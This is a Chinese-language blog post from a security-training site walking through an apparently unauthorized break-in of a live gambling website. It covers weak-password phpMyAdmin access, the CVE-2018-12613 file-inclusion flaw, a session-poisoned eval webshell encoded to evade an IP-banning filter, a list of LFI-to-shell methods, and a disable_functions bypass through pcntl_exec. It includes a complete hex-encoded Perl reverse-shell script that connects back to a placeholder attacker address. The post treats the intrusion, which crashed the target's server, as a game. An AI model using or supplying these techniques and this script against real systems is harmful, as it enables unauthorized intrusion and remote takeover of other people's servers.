技术分享
从实例中学习phpmyadmin在渗透中的应用
2019-08-21 09:25

看到有人在发推广,说是“好玩又挣钱,性感荷官在线发牌?”。说的让人有点心动,我也想玩。开个无痕窗口点进去看看,发现原来是一个欢乐老虎机,那就玩一玩呗。

1.jpg

简单扫了一下目录,发现有phpinfo.php存在,是一个极其古老的PHP版本。

2.jpg

另外还有一个phpMyAdmin,搞笑的是弱密码可以直接登录。

3.jpg

能登进去攻击面就大多了,先考虑老套路,使用general_log结合phpinfo 中的绝对路径写webshell,然而在写的过程中发现,www目录下完全没有写的权限,再加上open_basedir的限制,

4.png

能自由活动的范围就小了。

如果单纯写入tmp目录下,则无法直接访问,有个文件包含就好了。

PMA的主面板可看到详细的MySQL之类的版本信息,按这个线索再找找看。天无绝人之路,他的phpmyadmin4.8.1已经爆出过文件包含的漏洞,此时只要拥有直接写文件的条件或者上传文件即可getshell。

无奈上面的限制,目标继续锁定到tmp,再尝试下之前写日志的办法写一下shell,可惜又遇到了问题,mysql用户写入的文件,www用户读不了!

5.png

在有本地文件包含的漏洞下,这里简单介绍一下LFI 拿shell的几种常见方法:

有上传点

这是最简单的,即使限制的再死,只要能插入恶意代码,结合文件包含就能成功。

日志投毒

所有能投毒的日志都可以尝试,比如ssh、Apache/nginx、mail。

ProcEnviron注入

/proc/self/environ文件中有当前进程的环境变量。

如果可以包含,并且里面有HTTP_USER_AGENT,我们就可以通过UA 头进行注入,然后包含上面那个文件即可。

爆破/proc/self/fd/

如果有软连接映射到access.log 这样的日志文件就可以利用上面的手法了

6.jpg

php崩溃留下临时文件

如果不清楚文件详细名称,可以结合一些模糊匹配的办法,比如?、<、>。

可参考:https://www.anquanke.com/post/id/183046

结合具体的web应用

对于phpmyadmin来说有一种特殊的机制,所有SQL的执行操作将存入session。

所以这有了一种更加简单的办法,直接进行SQL查询来插入恶意语句。

选好了方向就开始干活了,又遇到一个小问题,这台机器可能开了一些安全服务。直接传入$_POST $_GET 这种直接给你转成小写了。如果传入数据还有eval,立马封IP,有点狠,但是问题不大,可以曲线救国一下,将<?eval($_GET[1]);?>编码后再解码写入。7.png

再包含一下session,使得刚刚的代码能过执行。先找一下session的具体位置,从phpinfo中可知,session的sava_path为空,那就是默认tmp了。

常见session存放位置:(phpsessid可从cookie中看到)

/var/lib/php/sess_PHPSESSID 

/var/lib/php/sess_PHPSESSID 

/tmp/sess_PHPSESSID 

/tmp/sessions/sess_PHPSESSID 

可看到成功包含。

8.jpg

想了解更多的文件包含漏洞学习,可到合天网安实验室学习实验——CVE-利用phpMyAdmin文件包含漏洞包含.frm文件从而进行RCE

相关实验:CVE-2018-12613phpMyAdmin文件包含漏洞

点击前往 合天网安实验室 学习操作更多实验哦

写入成功,拿起我们的中国菜刀!你以为到这里就结束了吗?还早着呢:)由phpinfo可知,这里设置了disable_function。
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru 

仔细看了一下发现还是有漏网之鱼的:pcntl_exec,这个的利用姿势已经很成熟了。

利用成功脚本如下:( PHP4 >= 4.2.0, PHP 5 on Linux )

/*******************************

 * 查看 phpinfo 编译参数 --enable-pcntl

 * 作者 Spider

 *nc -vvlp 443

********************************/ 

  

$ip = 'xxx.xxx.xxx.xxx'; 

$port = '443'; 

$file = '/tmp/bc.pl'; 

  

header("content-Type: text/html; charset=gb2312"); 

  

if(function_exists('pcntl_exec')) { 

        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a". 

                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20". 

                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65". 

                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip. 

                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port. 

                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72". 

                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24". 

                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e". 

                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f". 

                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68". 

                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f". 

                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43". 

                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44". 

                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43". 

                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65". 

                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20". 

                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21". 

                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b". 

                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43". 

                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f". 

                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a". 

                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a"; 

        $fp = fopen($file,'w'); 

        $key = fputs($fp,$data); 

        fclose($fp); 

        if(!$key) exit(' 写入'.$file.' 失败'); 

        chmod($file,0777); 

        pcntl_exec($file); 

        unlink($file); 

} else { 

        echo ' 不支持 pcntl 扩展'; 

}


成功拿到shell。


本来想过几天再提一下权的,可惜Apache已经崩了,等待管理员重启。

 

上一篇:记一次时间间隔一年的渗透经历
下一篇:贫穷引发的渗透测试
版权所有 合天智汇信息技术有限公司 2013-2018 湘ICP备14001562号-6
Copyright © 2013-2018 Heetian Corporation, All rights reserved
4006-123-731